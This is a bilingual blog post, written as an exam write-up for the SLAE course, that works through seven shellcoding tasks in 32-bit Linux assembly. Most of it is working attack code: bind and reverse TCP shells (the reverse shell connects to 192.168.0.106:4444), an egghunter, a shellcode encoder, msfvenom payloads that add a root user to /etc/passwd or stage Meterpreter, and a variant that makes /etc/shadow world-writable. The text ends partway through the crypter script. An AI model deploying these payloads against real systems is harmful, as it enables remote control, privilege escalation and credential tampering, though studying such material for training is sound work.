SecurityTube Linux Assembly Exam (SLAE) — is a final part of course:

SecurityTube Linux组装考试(SLAE)—当然是最后一部分:

securitytube-training.com/online-courses/securitytube-linux-assembly-expertsecuritytube-training.com/online-courses/securitytube-linux-assembly-expert

This course focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec and can be useful for security engineers, penetrations testers and everyone who wants to understand how to write simple shellcodes.

本课程侧重于讲授Linux平台上的英特尔架构(IA-32)处理器家族的32位汇编语言的基础知识,并将其应用于Infosec,对安全工程师,渗透测试人员以及所有想要了解的人都非常有用如何编写简单的shellcode。

This blog post have been created for completing requirements of the Security Tube Linux Assembly Expert certification.

创建此博客文章是为了满足Security Tube Linux Assembly Expert认证的要求。

Exam consists of 7 tasks:

考试包含7个任务:

1. TCP Bind Shell

1. TCP绑定外壳

2. Reverse TCP Shell

2.反向TCP Shell

3. Egghunter

3.蛋猎人

4. Custom encoder

4.自定义编码器

5. Analysis of 3 msfvenom generated shellcodes with GDB/ndisasm/libemu

5.使用GDB / ndisasm / libemu分析3个msfvenom生成的shellcode

6. Modifying 3 shellcodes from shell-storm

6.从shell-storm修改3个shellcode

7. Creating custom encryptor

7.创建自定义加密器

Student ID: SLAE-12034

学生证号:SLAE-12034

制备 (Preparation)

Before I start to describe 7 tasks of this exam, I should explain some scripts, which help a lot in exam automatization.

在开始描述该考试的7个任务之前,我应该解释一些脚本,这些脚本对考试的自动化有很大帮助。

nasm32.sh (nasm32.sh)

#!/bin/bashif [ -z $1 ]; thenecho "Usage ./nasm32 <nasmMainFile> (no extension)"exit
fiif [ ! -e "$1.asm" ]; thenecho "Error, $1.asm not found."echo "Note, do not enter file extensions"exit
finasm -f elf $1.asm -o $1.o
ld -m elf_i386 -o $1 $1.o

Usually I use this command for fast compiling and linking .asm files.

通常,我使用此命令来快速编译和链接.asm文件。

popcode.sh (popcode.sh)

PrintOpcode

打印操作码

#!/bin/bashtarget=$1objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s

Prints opcode of program in format "\x..\x...."

以“ \ x .. \ x ....”格式打印程序的操作码

hexopcode.sh (hexopcode.sh)

HexOpcode

十六进制代码

#!/bin/bashtarget=$1objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed -e 's!\\x!!g'

Prints opcode without "\x". Useful for using with next python script

打印不带“ \ x”的操作码。 与下一个python脚本一起使用时很有用

hex2stack.py (hex2stack.py)

hex to stack

十六进制堆叠

#!/usr/bin/python3
# -*- coding: utf-8 -*-import sysif __name__ == '__main__':if len(sys.argv) != 2:print("Enter opcode in hex")sys.exit(0)string = sys.argv[1]reversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]l = len(reversed) % 4if l:print("\tpush 0x" + "90"*(4-l) + "".join(reversed[0:l]))for p in range(l, len(reversed[l:]), 4):print("\tpush 0x" + "".join(reversed[p:p+4]))

This python script recieves opcode in hex-format and prints push commands for assembly file.

该python脚本以十六进制格式接收操作码,并输出汇编文件的推送命令。

Example:

例:

$./stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80out:push 0x9080cd0bpush 0xb0e18953push 0xc28950e3push 0x896e6962push 0x2f687361push 0x622f6868push 0x6a50c031

This is comfortable for placing our shellcode in stack for future executing.

这很适合将我们的shellcode放在堆栈中以供将来执行。

uscompile.sh (uscompile.sh)

UnSafeCompile. Another alias for compiling C files, usually with shellcode.

UnSafeCompile。 另一个用于编译C文件的别名,通常使用shellcode。

#!/bin/bashif [ -z $1 ]; thenecho "Usage ./compile <cFile> (no extension)"exit
fiif [ ! -e "$1.c" ]; thenecho "Error, $1.c not found."echo "Note, do not enter file extensions"exit
figcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c

shellcode.c (shellcode.c)

#include<stdio.h>
#include<string.h>unsigned char code[] =
"";int main()
{printf("Shellcode Length:  %d\n", strlen(code));int (*ret)() = (int(*)())code;ret();
}

It's a template for checking shellcodes. Length will be calculated until first '\x00'.

这是用于检查shellcode的模板。 长度将一直计算到第一个'\ x00'。

任务 (Tasks)

1. TCP绑定外壳 (1. TCP Bind Shell)

Common algorithm of creating Linux TCP Socket is:

创建Linux TCP套接字的常见算法是:

1. Create socket with socket() call

1.使用socket()调用创建套接字

2. Set properties for created socket: protocol, address, port and execute bind() call

2.设置创建的套接字的属性:协议,地址,端口并执行bind()调用

3. Execute listen() call for connections

3.执行listen()调用进行连接

4. accept() for accepting clients

4. accept()接受客户

5. Duplicate standard file descriptors in client's file descriptor

5.在客户端的文件描述符中复制标准文件描述符

6. execve() shell

6. execve()外壳

It's better for understanding to start with C TCP Bind Shell program.

最好从C TCP Bind Shell程序开始理解。

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>int main(void)
{int clientfd, sockfd;int port = 1234;struct sockaddr_in mysockaddr;// AF_INET - IPv4, SOCK_STREAM - TCP, 0 - most suitable protocol// AF_INET = 2, SOCK_STREAM = 1// create socket, save socket file descriptor in sockfd variablesockfd = socket(AF_INET, SOCK_STREAM, 0);// fill structuremysockaddr.sin_family = AF_INET; //--> can be represented in numeric as 2mysockaddr.sin_port = htons(port);//mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented in numeric as 0 which means to bind to all interfacesmysockaddr.sin_addr.s_addr = inet_addr("192.168.0.106");// size of this array is 16 bytes//printf("size of mysockaddr: %lu\n", sizeof(mysockaddr));// executing bind() callbind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));// listen()listen(sockfd, 1);// accept()clientfd = accept(sockfd, NULL, NULL);// duplicate standard file descriptors in client file descriptordup2(clientfd, 0);dup2(clientfd, 1);dup2(clientfd, 2);// and last: execute /bin/sh. All input and ouput of /bin/sh will translated via TCP connectionchar * const argv[] = {"sh",NULL, NULL};execve("/bin/sh", argv, NULL);return 0;
}

Now, lets write same program on assembly language.

现在,让我们用汇编语言编写相同的程序。

0. Prepare registers

0.准备寄存器

section .text
global _start_start:xor eax, eaxxor ebx, ebxxor esi, esi

1. Create socket

1.创建套接字

In x86 linux syscalls there is no direct socket() call. All socket calls can be executed via socketcall() method. socketcall() method recieves 2 arguments: number of socket call and pointer to it's arguments. List of socket calls you can find in /usr/include/linux/net.h file.

在x86 linux syscalls中,没有直接的socket()调用。 可以通过socketcall()方法执行所有套接字调用。 socketcall()方法接收2个参数:套接字调用的数量和指向该参数的指针。 您可以在/usr/include/linux/net.h文件中找到套接字调用的列表。

; creating socket. 3 argspush esi    ; 3rd arg, choose default protopush 0x1 ; 2nd arg, 1 equal SOCK_STREAM, TCPpush 0x2 ; 1st arg, 2 means Internet family proto; calling socket call for socket creatingmov al, 102    ; socketcallmov bl, 1   ; 1 = socket()mov ecx, esp ; pointer to args of socket()int 0x80; in eax socket file descriptor. Save itmov edx, eax

2. Creating sockaddr_in addr struct and bind()

2.创建sockaddr_in addr结构体和bind()

In sockaddr_in structure PORT has WORD size, as Protocol family number

在sockaddr_in结构中,PORT具有WORD大小,作为协议族编号

; creating sockaddr_in addr struct for bindpush esi        ; address, 0 - all interfacespush WORD 0xd204   ; port 1234.push WORD 2     ; AF_INETmov ecx, esp       ; pointer to sockaddr_in structpush 0x16        ; size of structpush ecx        ; pushing pointer to structpush edx     ; pushing socket descriptor; socketcallmov al, 102mov bl, 2     ; bind()mov ecx, espint 0x80

If you want to set another port:

如果要设置另一个端口:

$python3 -c "import socket; print(hex(socket.htons(<int:port>)))"

And if you want to set address directly:

如果您想直接设置地址:

$python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address("<IPv4 address>"))); print("0x"+"".join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'

3. listen() call

3. listen()调用

; creating listenpush 1push edx; calling socketcallmov al, 102mov bl, 4     ; listen()mov ecx, espint 0x80

4. Accept()

4. Accept()

; creating accept()push esipush esipush edx; calling socketcallmov al, 102mov bl, 5       ; accept()mov ecx, espint 0x80mov edx, eax      ; saving client file descriptor

5. Duplicating file descriptors

5.复制文件描述符

; dup2 STDIN, STDOUT, STDERRxor ecx, ecxmov cl, 3mov ebx, edx
dup:    dec ecxmov al, 63int 0x80jns dup

6. Executing /bin/sh via execve()

6.通过execve()执行/ bin / sh

; execve /bin/shxor eax, eaxpush eaxpush 0x68732f2fpush 0x6e69622fmov ebx, esppush eaxmov edx, esppush ebxmov ecx, espmov al, 11int 0x80

All information about system calls you can read from Linux manuals. For example:

您可以从Linux手册中阅读有关系统调用的所有信息。 例如:

$man 2 bind

Put it all together

放在一起

section .text
global _start_start:; clear registersxor eax, eaxxor ebx, ebxxor esi, esi; creating socket. 3 argspush esi  ; 3rd arg, choose default protopush 0x1 ; 2nd arg, 1 equal SOCK_STREAM, TCPpush 0x2 ; 1st arg, 2 means Internet family proto; calling socket call for socket creatingmov al, 102    ; socketcallmov bl, 1   ; 1 = socket()mov ecx, esp ; pointer to args of socket()int 0x80; in eax socket file descriptor. Save itmov edx, eax; creating sockaddr_in addr struct for bindpush esi        ; address, 0 - all interfacespush WORD 0xd204   ; port 1234.push WORD 2     ; AF_INETmov ecx, esp       ; pointer to sockaddr_in structpush 0x16        ; size of structpush ecx        ; pushing pointer to structpush edx     ; pushing socket descriptor; socketcallmov al, 102      ; socketcall() numbermov bl, 2      ; bind()mov ecx, esp        ; 2nd argument - pointer to argsint 0x80; creating listenpush 1         ; listen for 1 clientpush edx       ; clients queue size; calling socketcallmov al, 102mov bl, 4        ; listen()mov ecx, espint 0x80; creating accept()push esi       ; use default valuepush esi     ; use default valuepush edx     ; sockfd; calling socketcallmov al, 102mov bl, 5        ; accept()mov ecx, espint 0x80mov edx, eax      ; saving client file descriptor; dup2 STDIN, STDOUT, STDERRxor ecx, ecx     ; clear ecxmov cl, 3        ; number of loopsmov ebx, edx       ; socketfd
dup:    dec ecxmov al, 63       ; number of dup2 syscall()int 0x80jns dup           ; repeat for 1,0; execve /bin/bashxor eax, eax      ; clear eaxpush eax     ; string terminatorpush 0x68732f2f      ; //bin/shpush 0x6e69622fmov ebx, esp       ; 1st arg - address of //bin/shpush eax     ; mov edx, eax      ; last argument is zeropush ebx     ; 2nd arg - pointer to all args of commandmov ecx, esp      ; pointer to argsmov al, 11     ; execve syscall numberint 0x80

Check it

核实

2.反向TCP Shell (2. Reverse TCP Shell)

This task is quite similar with previous one. The difference is in replacing bind(), listen(), accept() with connect() method.

此任务与上一个任务非常相似。 区别在于用connect()方法替换bind(),listen(),accept()。

Algorithm:

算法:

1. Create socket with socket() call

1.使用socket()调用创建套接字

2. Set properties for created socket: protocol, address, port and execute connect() call

2.设置创建的套接字的属性:协议,地址,端口并执行connect()调用

3. Duplicate sockfd into standard file descriptors (STDIN, STDOUT, STDERR)

3.将sockfd复制到标准文件描述符(STDIN,STDOUT,STDERR)中

4. execve() shell

4. execve()外壳

C code

C代码

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>int main ()
{const char* ip = "192.168.0.106";   // place your address herestruct sockaddr_in addr;addr.sin_family = AF_INET;addr.sin_port = htons(4444);  // portinet_aton(ip, &addr.sin_addr);int sockfd = socket(AF_INET, SOCK_STREAM, 0);connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));/* duplicating standard file descriptors */for (int i = 0; i < 3; i++){dup2(sockfd, i);}execve("/bin/sh", NULL, NULL);return 0;
}

Translate it into assembly:

将其转换为汇编:

section .text
global _start_start:; creating socketxor eax, eaxxor esi, esixor ebx, ebxpush esipush 0x1push 0x2; calling socket call for socket creatingmov al, 102mov bl, 1mov ecx, espint 0x80mov edx, eax; creating sockaddr_in and connect()push esipush esipush 0x6a00a8c0       ; IPv4 address to connectpush WORD 0x5c11   ; portpush WORD 2mov ecx, esppush 0x16push ecxpush edx; socketcall()mov al, 102mov bl, 3        ; connect()mov ecx, espint 0x80; dup2 STDIN, STDOUT, STDERRxor ecx, ecxmov cl, 3mov ebx, edx
dup:    dec ecxmov al, 63int 0x80jns dup; execve /bin/shxor eax, eaxpush eaxpush 0x68732f2fpush 0x6e69622fmov ebx, esppush eaxmov edx, esppush ebxmov ecx, espmov al, 11int 0x80

Then

然后

$nasm32 reverse_tcp_shell.asm

You can set custom IP address to connect and port with python commands above (Task 1)

您可以设置自定义IP地址以使用上面的python命令进行连接和移植(任务1)

Result

结果

3.寻蛋技术 (3. Egg hunter technique)

The purpose of an egg hunter is to search the entire memory range (stack/heap/..) for final stage shellcode and redirect execution flow to it.

寻蛋猎人的目的是在整个内存范围(堆栈/堆/ ..)中搜索最后阶段的shellcode,并将执行流重定向到该范围。

For imitation this technique in assembly language I decided to:

为了模仿汇编语言中的这种技术,我决定:

1. Push some trash in stack

1.将一些垃圾推入堆栈

2. Push shellcode in stack

2.将shellcode压入堆栈

3. Push egg which we will search for

3.推鸡蛋,我们将寻找

4. Push another trash

4.推另一个垃圾桶

Let's generate some trash with python script

让我们用python脚本生成一些垃圾

#!/usr/bin/python3import randomrdm = bytearray(random.getrandbits(8) for _ in range(96))
for i in range(0,len(rdm),4):bts = rdm[i:i+4]print("\tpush 0x" + ''.join('{:02x}'.format(x) for x in bts))

I want to find shellcode of execute execve() with /bin/sh.

我想用/ bin / sh查找执行execve()的shellcode。

; execve_sh
global _startsection .text
_start:; PUSH 0xor eax, eaxpush eax; PUSH //bin/sh (8 bytes)push 0x68732f2fpush 0x6e69622fmov ebx, esppush eaxmov edx, eaxpush ebxmov ecx, espmov al, 11int 0x80

Generate push commands for this:

为此生成推送命令:

$nasm32 execve_sh; ./hex2stack.py $(hexopcode execve_sh)

Put it all together

放在一起

section .text
global _start_start:; trashpush 0x94047484push 0x8c35f24apush 0x5a449067push 0xf5a651edpush 0x7161d058push 0x3b7b4e10push 0x9f93c06e; shellcode execve() /bin/shpush 0x9080cd0bpush 0xb0e18953push 0xe28950e3push 0x896e6962push 0x2f687361push 0x622f6868push 0x6a50c031; eggpush 0xdeadbeef; trashpush 0xd213a92dpush 0x9e3a066bpush 0xeb8cb927push 0xddbaec55push 0x43a73283push 0x89f447depush 0xacfb220fmov ebx, 0xefbeadde    ; egg in reverse ordermov esi, espmov cl, 200       ; change this value for deeper or less searchingfind:   lodsb           ; read byte from source - esicmp eax, ebx       ; is it egg?jz equal        ; if so, give control to shellcodeshl eax, 8        ; if not, shift one byte leftloop find      ; repeatxor eax, eax        ; if there is no egg - exitmov al, 1xor ebx, ebxmov bl, 10int 0x80equal: jmp esi            ; jmp to shellcode

You can replace instruction loop find with jmp find but it can crash program.

您可以将指令循环查找替换为jmp find,但它可能会使程序崩溃。

There are cases when your shellcode can be in lower address than your egghunter code. In this case reverse reading with Direction flag (std) can help you to perform search for egg. When you found shellcode, clear direction flag and jump to esi+offset.

在某些情况下,shellcode的地址可能比egghunter代码的地址低。 在这种情况下,使用方向标记(std)进行反向读取可以帮助您执行鸡蛋搜索。 找到shellcode后,清除方向标记并跳转到esi + offset。

4.编码器 (4. Encoder)

In this exercise I've made insertion encoder with small trick: there is random value of «trash» bytes. Encoder looks:

在本练习中,我使用了一些小技巧来制作插入编码器:随机存在“垃圾”字节的值。 编码器外观:

#!/usr/bin/python3
# -*- coding: utf-8 -*-import sys
import randomif len(sys.argv) != 2:print("Enter opcode in hex")sys.exit(0)opcode = sys.argv[1]
encoded = ""b1 = bytearray.fromhex(opcode)# Generates random value from 1 to 5 of 'aa' string
for x in b1:t = 'aa' * random.randint(1,5)encoded += '%02x' % x + tprint(encoded)

As always, place this code into stack:

和往常一样,将此代码放入堆栈:

$./hex2stack.py $(./encoder.py $(hexopcode execve_sh))

Output:

输出:

push 0x909090aapush 0xaaaaaaaapush 0x80aaaaaapush 0xaacdaaaapush 0xaaaa0baapush 0xaaaaaaaapush 0xb0aaaaaapush 0xaae1aaaapush 0xaaaaaa89push 0xaaaaaa53push 0xaaaaaac2push 0xaa89aaaapush 0xaaaa50aapush 0xaaaaaaaapush 0xe3aaaa89push 0xaaaa6eaapush 0xaa69aaaapush 0xaaaa62aapush 0xaaaaaa2fpush 0xaa68aaaapush 0x68aaaaaapush 0xaaaa73aapush 0xaaaa2faapush 0xaa2faaaapush 0xaa68aaaapush 0x50aaaaaapush 0xaaaac0aapush 0xaaaaaa31

Pay attention at first part: 0x909090aa. 90 will be end-of-shellcode byte in decoder.

在第一部分中注意:0x909090aa。 90将是解码器中的shell结束字节。

Code of decoder.asm

解码器.asm代码

section .textglobal _start
_start:; encoded shellcodepush 0x909090aapush 0xaaaaaaaapush 0x80aaaaaapush 0xaacdaaaapush 0xaaaa0baapush 0xaaaaaaaapush 0xb0aaaaaapush 0xaae1aaaapush 0xaaaaaa89push 0xaaaaaa53push 0xaaaaaac2push 0xaa89aaaapush 0xaaaa50aapush 0xaaaaaaaapush 0xe3aaaa89push 0xaaaa6eaapush 0xaa69aaaapush 0xaaaa62aapush 0xaaaaaa2fpush 0xaa68aaaapush 0x68aaaaaapush 0xaaaa73aapush 0xaaaa2faapush 0xaa2faaaapush 0xaa68aaaapush 0x50aaaaaapush 0xaaaac0aapush 0xaaaaaa31; prepare registers for decodingmov esi, espmov edi, espmov bl, 0xaadecoder:lodsb     ; read byte from stackcmp al, bl    ; check: is it trash byte?jz loopy  ; if so, repeatcmp al, 0x90 ; is it end of shellcode?jz exec        ; if so, go to start of shellcodestosb      ; if not, place byte of shellcode into stack
loopy:  jmp decoder ; repeatexec:   jmp esp     ; give flow control to shellcode

When shellcode has no nop instructions it is normal to choose this byte as stop-marker. You can choose any another value as stop-marker — push this byte(s) first.

当shellcode没有nop指令时,通常选择该字节作为停止标记。 您可以选择其他任何值作为停止标记-首先推送该字节。

Result

结果

5.使用GDB / libemu / ndisasm分析msfvenom生成的shellcode (5. Analyzing msfvenom generated shellcodes with GDB/libemu/ndisasm)

1.添加用户 (1. Add user)

Command for generating shellcode

生成shellcode的命令

msfvenom -a x86 --platform linux -p linux/x86/adduser -f c > adduser.c

There are several ways to analyze this code with GDB, I decided to place this code into stack and execute it:

有几种方法可以使用GDB分析此代码,我决定将这些代码放入堆栈并执行:

$ cat adduser.c | grep -Po "\\\x.." | tr -d '\n' | sed -e 's!\\x!!g' ; echo
31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
$ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
out:push 0x90909080push 0xcd58016apush 0x80cd5804...

And make .asm file:

并制作.asm文件:

section .textglobal _start
_start:push 0x90909080push 0xcd58016apush 0x80cd5804push 0x6afc518bpush 0x590a6873push 0x2f6e6962push 0x2f3a2f3apush 0x3a303a30push 0x3a635249push 0x3470346apush 0x7349642fpush 0x7a413a74push 0x696f6c70push 0x73617465push 0x6d000000push 0x28e89380push 0xcd04b541push 0xe3896374push 0x652f6861push 0x702f2f68push 0x64777373push 0x6851c931push 0x58056a80push 0xcd58466apush 0xcb89c931jmp esp

First, setreuid(0,0) syscall is executing. It sets root privileges to program.

首先,正在执行setreuid(0,0)系统调用。 它将root特权设置为program。

xor ecx, ecx   ; ecx = 0
mov ebx, ecx    ; ebx = 0
; setreuid(0,0) - set root as owner of this process
push 0x46
pop eax
int 0x80

Then open /etc/passwd file and go to address with call instruction. Call instruction places address of next instruction onto stack. In our case it is string «metasploit...» which program adds into opened file. This picture clarifies number values which is used with files.

然后打开/ etc / passwd文件,并通过调用指令转到地址。 调用指令将下一条指令的地址放到堆栈中。 在我们的例子中,它是字符串“ metasploit ...”,程序会将其添加到打开的文件中。 此图阐明了文件使用的数字值。

; Executing open() sys call
push 0x5
pop eax
xor ecx, ecx
push ecx    ; push 0, end of filename path
; pushing /etc/passwd string
push   0x64777373
push   0x61702f2f
push   0x6374652f
mov ebx, esp    ; placing address of filename as argument
inc ecx
mov ch,0x4  ; ecx is 0x401 - 02001 - open file in write only access and append
int 0x80
xchg ebx, eax
call 0x80480a7

And last step is writing our string into /etc/passwd file.

最后一步是将我们的字符串写入/ etc / passwd文件。

pop ecx   ; string metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀\220\220\220\001
mov edx, DWORT PTR [ecx-0x4]    ; length of string
push ecx
push 0x4
pop eax
int 0x80    ; write string into file
push 0x1
pop eax
int 0x80    ; exit

Instructions after call

通话后说明

Due to call instruction we can set any pair username:password easily.

根据通话说明,我们可以轻松设置任意一对username:password。

2.执行whoami (2. Exec whoami)

Generate shellcode

生成shellcode

$msfvenom -a x86 --platform linux -p linux/x86/exec CMD="whoami" -f raw> exec_whoami.bin

This payload execute /bin/sh -c whoami, using call instruction. In case of call next instruction is placing into stack, that's why it's easily to create any command for executing.

该有效负载使用调用指令执行/ bin / sh -c whoami。 如果要调用下一条指令放入堆栈,这就是为什么很容易创建任何要执行的命令的原因。

To analyze shellcode with libemu:

要使用libemu分析shellcode:

$sctest -vv -S -s 10000 -G shell.dot < exec_whoami.bin
[emu 0x0x16c8100 debug ] 6A0B                            push byte 0xb
; execve()
[emu 0x0x16c8100 debug ] 58                              pop eax
[emu 0x0x16c8100 debug ] 99                              cwd
; in this case - set to 0 due to cwd and small eax
[emu 0x0x16c8100 debug ] 52                              push edx
; "-c"
[emu 0x0x16c8100 debug ] 66682D63                        push word 0x632d
; address of "-c"
[emu 0x0x16c8100 debug ] 89E7                            mov edi,esp
; /bin/sh
[emu 0x0x16c8100 debug ] 682F736800                      push dword 0x68732f
[emu 0x0x16c8100 debug ] 682F62696E                      push dword 0x6e69622f
; 1st arg of execve()
[emu 0x0x16c8100 debug ] 89E3                            mov ebx,esp
; null
[emu 0x0x16c8100 debug ] 52                              push edx
; place "whoami" in stack
[emu 0x0x16c8100 debug ] E8                              call 0x1
; push "-c"
[emu 0x0x16c8100 debug ] 57                              push edi
; push "/bin/sh"
[emu 0x0x16c8100 debug ] 53                              push ebx
; 2nd argument of execve()
; pointer to args
[emu 0x0x16c8100 debug ] 89E1                            mov ecx,esp
; execute execve()
[emu 0x0x16c8100 debug ] CD80                            int 0x80

3.反向Meterpreter TCP (3. Reverse Meterpreter TCP)

command to generate payload

生成有效载荷的命令

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > meter_revtcp.bin

Then

然后

ndisasm -u meter_revtcp.bin

Code with comments

带注释的代码

00000000  6A0A              push byte +0xa
00000002  5E                pop esi         ; place 10 in esi
00000003  31DB              xor ebx,ebx         ; nullify ebx
00000005  F7E3              mul ebx
00000007  53                push ebx            ; push 0
00000008  43                inc ebx         ; 1 in ebx
00000009  53                push ebx            ; push 1
0000000A  6A02              push byte +0x2     ; push 2
0000000C  B066              mov al,0x66         ; mov socketcall
0000000E  89E1              mov ecx,esp         ; address of argument
00000010  CD80              int 0x80            ; calling socketcall() with socket()
00000012  97                xchg eax,edi        ; place sockfd in edi
00000013  5B                pop ebx         ; in ebx 1
00000014  68C0A80066        push dword 0x6600a8c0   ; place IPv4 address connect to
00000019  680200115C        push dword 0x5c110002   ; place port and proto family
0000001E  89E1              mov ecx,esp
00000020  6A66              push byte +0x66
00000022  58                pop eax         ; socketcall()
00000023  50                push eax
00000024  51                push ecx            ; addresss of sockaddr_in structure
00000025  57                push edi            ; sockfd
00000026  89E1              mov ecx,esp         ; address of arguments
00000028  43                inc ebx
00000029  CD80              int 0x80            ; call connect()
0000002B  85C0              test eax,eax        ;
0000002D  7919              jns 0x48            ; if connect successful - jmp
0000002F  4E                dec esi         ; in esi 10 - number of attempts to connect
00000030  743D              jz 0x6f         ; if zero attempts left - exit
00000032  68A2000000        push dword 0xa2
00000037  58                pop eax
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80            ; wait 5 seconds
00000042  85C0              test eax,eax
00000044  79BD              jns 0x3
00000046  EB27              jmp short 0x6f
00000048  B207              mov dl,0x7          ; mov dl 7 - read, write, execute for mprotect() memory area
0000004A  B900100000        mov ecx,0x1000      ; 4096 bytes
0000004F  89E3              mov ebx,esp
00000051  C1EB0C            shr ebx,byte 0xc
00000054  C1E30C            shl ebx,byte 0xc        ; nullify 12 lowest bits
00000057  B07D              mov al,0x7d         ; mprotect syscall
00000059  CD80              int 0x80
0000005B  85C0              test eax,eax
0000005D  7810              js 0x6f         ; if no success with mprotect -> exit
0000005F  5B                pop ebx         ; if success put sockfd in ebx
00000060  89E1              mov ecx,esp
00000062  99                cdq
00000063  B60C              mov dh,0xc
00000065  B003              mov al,0x3          ; read data from socket
00000067  CD80              int 0x80
00000069  85C0              test eax,eax
0000006B  7802              js 0x6f
0000006D  FFE1              jmp ecx         ; jmp to 2nd part of shell
0000006F  B801000000        mov eax,0x1
00000074  BB01000000        mov ebx,0x1
00000079  CD80              int 0x80

This code is creating socket, trying to connect to the specified IP address, call mprotect for creating memory area and read 2nd part of shellcode from socket. If it can't connect to destination address, program waits 5 seconds and then is trying to reconnect. In case of fall on any stage it exits.

该代码正在创建套接字,尝试连接到指定的IP地址,调用mprotect创建内存区域,并从套接字读取shellcode的第二部分。 如果无法连接到目标地址,程序将等待5秒钟,然后尝试重新连接。 如果在任何阶段跌倒,它将退出。

6.来自shell-storm的三个多态shellcode (6. Three polymorphic shellcodes from shell-storm)

1. chmod / etc / shadow (1. chmod /etc/shadow)

; http://shell-storm.org/shellcode/files/shellcode-608.php; Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes; length - 40 bytessection .textglobal _start_start:sub ebx, ebx ; replacedpush 0x17 ; replacedpop eax       ; replacedint 0x80sub eax, eax  ; replacedpush eax  ; on success zeropush 0x776f6461push 0x68732f63push 0x74652f2fmov ebx, espmov cl, 0xb6  ; replacedmov ch, 0x1   ; replacedadd al, 15    ; replacedint 0x80add eax, 1    ; replacedint 0x80

This shellcode calls setuid() with zero params (setting root privileges) and then chmod() /etc/shadow file.

此shellcode调用具有零参数(设置root特权)的setuid(),然后调用chmod()/ etc / shadow文件。

In some cases this code can be executed without nullifying registers.

在某些情况下,可以在不使寄存器无效的情况下执行该代码。

section .text
global _start_start:push 0x17   ; replacedpop eax       ; replacedint 0x80push eax  ; on success zeropush 0x776f6461push 0x68732f63push 0x74652f2fmov ebx, espmov cl, 0xb6  ; replacedmov ch, 0x1   ; replacedadd al, 15    ; replacedint 0x80add eax, 1    ; replacedint 0x80

This code is running well by building .asm.

通过构建.asm,此代码运行良好。

2.执行/ bin / sh (2. Execve /bin/sh)

; http://shell-storm.org/shellcode/files/shellcode-251.php; (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 37 bytes; length - 45 bytesection .text
global _start
_start:push 0x17mov eax, [esp]  ; replacedsub ebx, ebx  ; replacedimul edi, ebx ; replacedint 0x80push 0x2emov eax, [esp]   ; replacedpush edi  ; replacedint 0x80sub edx, edx  ; replacedpush 0xbpop eaxpush edi   ; replacedpush 0x68732f2fpush 0x6e69622flea ebx, [esp]  ; replacedpush edi  ; replacedpush edi  ; replacedlea esp, [ecx]    ; replacedint 0x80

3.使用第二阶段的TCP绑定shellcode (3. TCP bind shellcode with second stage)

; original: http://shell-storm.org/shellcode/files/shellcode-501.php; linux/x86 listens for shellcode on tcp/5555 and jumps to it 83 bytes; length 94section .text
global _start_start:sub eax, eax    ; replacedimul ebx, eax ; replacedimul edx, eax ; replaced_socket:push 0x6push 0x1push 0x2add al, 0x66  ; replacedadd bl, 1 ; replacedlea ecx, [esp] ; replacedint 0x80_bind:mov edi, eax   ; placing descriptorpush edxpush WORD 0xb315    ;/* 5555 */push WORD 2lea ecx, [esp]    ; replacedpush 16push ecxpush edixor eax, eax   ; replacedadd al, 0x66  ; replacedadd bl, 1 ; replacedlea ecx, [esp]    ; replacedint 0x80_listen:mov bl, 4 ; replacedpush 0x1push ediadd al, 0x66  ; replacedlea ecx, [esp]    ; replacedint 0x80_accept:push edxpush edxpush ediadd al, 0x66  ; replacedmov bl, 5 ; replacedlea ecx, [esp]    ; replacedint 0x80mov ebx, eax_read:mov al, 0x3lea ecx, [esp]   ; replacedmov dx, 0x7ffmov dl, 1    ; replacedint 0x80jmp esp

Code of 2nd stage

第二阶段代码

section .text
global _start_start:xor eax, eaxmov al, 1xor ebx, ebxmov ebx, 100int 0x80

Our 2nd stage is executed: exit code is 100.

我们的第二阶段被执行:退出代码为100。

7.密码 (7. Crypter)

This is assemby course and exam that's why I decided to realize simple substitution cipher on assembly.

这是Assemby课程和考试,这就是为什么我决定在汇编上实现简单替换密码的原因。

crypter.py

crypter.py

#!/usr/bin/python
# -*- coding: utf-8 -*-import sys
import randomif len(sys.argv) != 2:print("Enter shellcode in hex")sys.exit(0)shellcode = sys.argv[1]
plain_shellcode = bytearray.fromhex(shellcode)# Generating key
key_length = len(plain_shellcode)
r = ''.join(chr(random.randint(0,255)) for _ in range(key_length))
key = bytearray(r.encode())encrypted_shellcode = ""
